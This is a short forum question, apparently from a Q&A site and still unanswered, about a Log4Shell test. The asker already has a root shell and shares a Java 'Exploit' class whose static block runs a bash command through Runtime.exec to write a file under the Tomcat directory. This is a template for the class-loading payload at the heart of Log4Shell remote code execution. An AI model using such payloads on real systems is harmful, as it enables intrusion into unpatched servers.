Log4Shell Exploitation

Viewed 40

I am working on a test related to Log4shell vulnerability. I am able to open bash as root using an exploit. But now the next step is to create a file in a specific location and add some value to it. I cannot create the file from the bash I just opened as root, but I have to create a payload which can do that for me. I am not a Java developer so looking for some guidance on the same. Below is the code.

public class Exploit 
{
    static
    {
    try
        {
        String payload = "echo MyWords > /usr/local/tomcat/MyFile.txt";
        String[] cmds = {"/bin/bash", "-c", payload};
        java.lang.Runtime.getRuntime().exec(cmds);
      
        }
        catch(Exception e)
        {
        e.printStackTrace();
        }
    }
}
0 Answers
Related